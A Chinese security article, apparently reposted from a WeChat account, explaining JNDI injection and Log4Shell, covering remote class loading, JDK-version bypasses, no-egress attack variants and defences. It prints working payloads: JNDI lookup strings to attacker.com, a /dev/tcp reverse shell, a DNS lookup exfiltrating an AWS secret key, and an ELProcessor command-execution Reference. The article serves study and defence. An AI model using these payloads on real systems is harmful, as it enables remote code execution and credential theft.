【JAVA安全】JNDI漏洞分析

admin 2025年3月12日21:35:33评论27 views字数 5156阅读17分11秒阅读模式
背景

近年来,JNDI(Java Naming and Directory Interface)相关的安全漏洞频繁成为企业级Java应用的重大威胁。尤其是2021年底爆发的Log4j2漏洞(CVE-2021-44228,即Log4Shell),直接暴露了JNDI动态协议加载机制的安全缺陷,引发全球范围内的安全危机。本文将从JNDI的基础原理出发,深入分析其漏洞成因、利用方式,并结合实际案例和防御策略,为开发者提供全面的技术参考。

JNDI基础与漏洞背景

一、JNDI的作用与架构

JNDI是Java平台提供的一套统一API,用于访问命名和目录服务(如LDAP、DNS、RMI等)。其核心功能包括:

  • 资源定位:通过名称(如java:comp/env/jdbc/DataSource)查找对象(如数据库连接池)。

  • 协议透明:支持多种协议(LDAP、RMI、CORBA等),开发者无需关心底层实现。

JNDI架构分层:

  • API层:开发者调用的接口(如InitialContext.lookup())。

  • SPI层:(Service Provider Interface):协议实现模块(如ldap.jar、rmi.jar)。

  • 协议服务端:如LDAP服务器、RMI注册表。

二、动态协议加载机制

JNDI允许通过URL动态指定协议。例如:

Context ctx = new InitialContext();Object obj = ctx.lookup("ldap://attacker.com:1389/Exploit");

此处,JNDI会根据ldap协议自动加载对应的SPI模块,并与远程服务器交互。这种灵活性为漏洞埋下了隐患。

三、漏洞历史与影响

  • 2016年:Black Hat会议上首次公开JNDI注入攻击。

  • 2021年:Log4j2漏洞(CVE-2021-44228)利用JNDI实现RCE,影响全球数十万系统。

  • 持续威胁:JNDI漏洞常与其他组件(如Fastjson、XStream)反序列化漏洞结合,形成攻击链

JNDI漏洞原理分析

一、攻击核心:远程类加载

JNDI漏洞的本质是允许攻击者控制JNDI查找的URL,从而触发恶意类的远程加载。以下以LDAP协议为例说明攻击流程:

  1. 攻击者搭建恶意LDAP服务器:配置LDAP条目,指向一个远程Java类(如http://attacker.com/Exploit.class)。

  2. 受害者执行JNDI查询:例如,Log4j2日志输出时解析${jndi:ldap://attacker.com/Exploit}。

  3. JNDI客户端加载恶意类:JNDI的LDAP-SPI模块解析响应,自动下载并实例化Exploit.class,触发任意代码执行。

二、关键代码逻辑

在JDK8u191之前的版本中,com.sun.jndi.ldap.ObjectFactory会直接加载远程类:// 简化后的LDAP SPI处理逻辑public Object getObjectInstance(Object ref, Name name, Context ctx, Hashtable<?,?> env) {    String codebase = (String) ref.get("javaCodeBase"); // 从LDAP响应中获取codebase    ClassLoader cl = new URLClassLoader(new URL[]{new URL(codebase)});    Class<?> exploitClass = cl.loadClass("Exploit");    return exploitClass.newInstance(); // 实例化类,执行静态代码块}

三、攻击面扩展

 除LDAP外,其他协议同样存在风险:

  • RMI协议:通过rmi://加载远程对象,利用反序列化漏洞。

  • CORBA协议:结合IIOP(InternetInter-ORB Protocol)实现跨语言攻击。

  • DNS协议:信息泄露(如探测内网服务)。

典型案例Log4RCE漏洞(CVE-2021-44228)

一、漏洞触发条件

  • Log4j2版本:2.0-beta9至2.14.1。

  • 日志输出包含JNDI表达式例如

    logger.error("${jndi:ldap://attacker.com/payload}")

二、攻击流程

  1. 攻击者构造恶意请求在HTTP头、参数等位置插入JNDI表达式,如

    User-Agent: ${jndi:ldap://attacker.com/Exploit}
  2. Log4j2解析日志默认配置下,Log4j2会递归解析${}内的表达式,触发JNDI查询。

  3. 恶意类执行远程类Exploit.class可能执行以下操作:

    • 反弹Shell,如

      Runtime.getRuntime().exec("bash -i >& /dev/tcp/attacker.com/4444 0>&1")
    • 内网探测或横向移动。

    • 加密勒索软件部署。

三、不出网利用技术:绕过外联限制的攻击手法

在真实企业环境中,许多服务器会严格限制出网流量(如禁止主动连接互联网),传统的JNDI漏洞利用方式(如通过LDAP协议加载远程恶意类)可能失效。攻击者针对此类场景,衍生出多种不出网的利用技术,以下为典型方案:

1.利用内网JNDI服务与反序列化链组合攻击

1.1原理

当目标服务器无法访问外网但开放内网协议(如RMI、LDAP)时,攻击者可先通过其他漏洞(如SSRF、反序列化)在内网部署恶意JNDI服务,再触发Log4j2漏洞加载内网恶意类。

1.2步骤:

内网渗透通过Web漏洞(如Fastjson反序列化)在内网某机器(10.10.1.100)部署恶意RMI服务。

构造Payload:

${jndi:rmi://10.10.1.100:1099/Exploit}

目标执行:

  • 当受害服务器解析该Payload时,会向内部RMI服务请求Exploit对象。

  • 恶意RMI服务返回一个包含反序列化Gadget链的Reference对象,触发本地ClassPath中的漏洞,如

org.apache.commons.collections.Transformer

1.3关键点

  • 依赖内网中存在可用的反序列化链(如老旧版本的Commons-Collections)。

  • 攻击者需预先掌握内网IP或域名信息(可通过信息泄露漏洞获取)。

2.本地ClassPath中的恶意类加载

2.1原理

若目标应用的ClassPath中存在包含危险方法的类(如EL处理器、ScriptEngine),攻击者可通过JNDI Reference指向这些类,直接执行代码。

2.2案例Tomcat EL表达式注入

Payload构造:

${jndi:ldap://127.0.0.1:1389/Exploit}

本地LDAP服务响应:返回Reference对象,指定factoryClass为javax.el.ELProcessor:

Reference ref = new Reference("Exploit", "javax.el.ELProcessor", "http://local/");ref.add(new StringRefAddr("x", """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['sh','-c','touch /tmp/pwned']).start()")"));

代码执行:    JNDI解析Reference时,调用ELProcessor.eval()执行任意命令(无需出网)。

2.3防御难点

    即使禁用远程类加载,本地ClassPath中的危险类仍可能被利用。

3. 基于DNS协议的信息泄露与内部网络探测

3.1原理

在严格不出网但允许DNS协议的环境中,攻击者可通过Log4j2触发DNS查询,利用内部DNS服务器泄露敏感信息或探测内网服务。

3.2Payload示例

${jndi:dns://internal-dns-server.com/${env:AWS_SECRET_KEY}.attacker.com}

3.3利用过程:

  • 目标服务器解析该Payload时,向内部DNS服务器(internal-dns-server.com)发起查询。

  • DNS查询的域名包含敏感数据(如${env:AWS_SECRET_KEY}被解析为环境变量值)。

  • 攻击者通过DNS日志或流量监控获取泄露的数据。

3.4拓展攻击:

    结合DNS泛解析记录,批量探测内网IP和主机名。

4.文件写入与本地代码执行

4.1场景:当目标服务器禁止任何网络连接但允许文件操作时,攻击者可分阶段攻击:

4.2通过JNDI写入WebShell:

${jndi:ldap://dummy/Exploit}

LDAP响应返回一个Reference,触发java.io.FileOutputStream将恶意代码写入Web目录。

4.3通过其他漏洞触发WebShell:利用CSRF、SSRF或已有权限访问写入的WebShell路径。

4.4技术限制:

  • 需依赖应用权限允许文件写入。

  • 写入路径需可被访问(如Tomcat的webapps目录)。

JDK版本对JNDI漏洞的影响

一、关键版本分界线

  • JDK6u45/7u21:引入java.rmi.server.useCodebaseOnly属性,限制远程类加载。

  • JDK 8u121 / 7u131 / 6u141:

    默认禁用远程codebase(com.sun.jndi.ldap.object.trustURLCodebase=false)。
  • JDK 8u191+:完全禁止从LDAP URL加载远程类。

二、绕过JDK限制的尝试

    即使在高版本JDK中,攻击者仍可能通过以下方式利用:

  • 利用本地ClassPath中的类:例如,org.apache.naming.factory.BeanFactory可触发EL表达式注入。

  • 结合反序列化漏洞:如果应用依赖中存在不安全的反序列化链(如Fastjson、XStream),可通过JNDI触发二次攻击。

  • 利用其他SPI实现:如javax.el.ELProcessor执行EL表达式。

防御策略与实践建议

一、开发者编码规范

 1.禁止外部可控的JNDI查询:    避免将用户输入直接传递给InitialContext.lookup()。

// 错误示例String url = request.getParameter("url");Context ctx = new InitialContext();ctx.lookup(url); // 高风险!// 正确做法:仅允许固定路径ctx.lookup("java:/comp/env/jdbc/TrustedDS");

2.升级依赖库:

  • Log4j2升级至2.17.0+,启用log4j2.formatMsgNoLookups=true。

  • 使用Fastjson 1.2.83+或切换至Jackson。

3.输入验证与过滤:

    对日志、HTTP参数等场景中的${、jndi:等关键字进行过滤。

环境配置加固

1.JDK升级:

JDK 8u191+ / 11.0.1+ / 17+,启用默认安全限制。添加JVM参数:-Dcom.sun.jndi.ldap.object.trustURLCodebase=false。

2.网络隔离:

  • 禁止应用服务器主动访问外网(出站流量限制)。

  • 使用防火墙规则拦截LDAP/RMI等高危协议(端口389、1099等)。

三、安全组件部署:

  • WAF(Web应用防火墙)拦截JNDI注入特征。

  • RASP(运行时应用自保护)监控可疑类加载行为。

四、内网服务加固:

  • 禁止内部JNDI/RMI服务公开访问,启用认证机制。

  • 定期更新内网中间件(如Tomcat、WebLogic)的反序列化链依赖。

五、本地ClassPath监控:

  • 使用工具(如OWASP-Dependency-Check)扫描ClassPath中的高危类。

  • 移除不必要的危险库(如旧版Commons-Collections)。

六、DNS协议管控:

  • 限制应用服务器发起任意DNS查询,仅允许访问授权域名。

  • 监控内部DNS服务器的异常查询日志。

七、文件操作权限隔离:

    运行Java应用的账户需遵循最小权限原则,禁止写入Web目录或敏感路径。

最后,附上思维导图:【JAVA安全】JNDI漏洞分析

JDK版本对JNDI漏洞的影响

END

原文始发于微信公众号(安全驾驶舱):【JAVA安全】JNDI漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月12日21:35:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【JAVA安全】JNDI漏洞分析https://cn-sec.com/archives/3832814.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息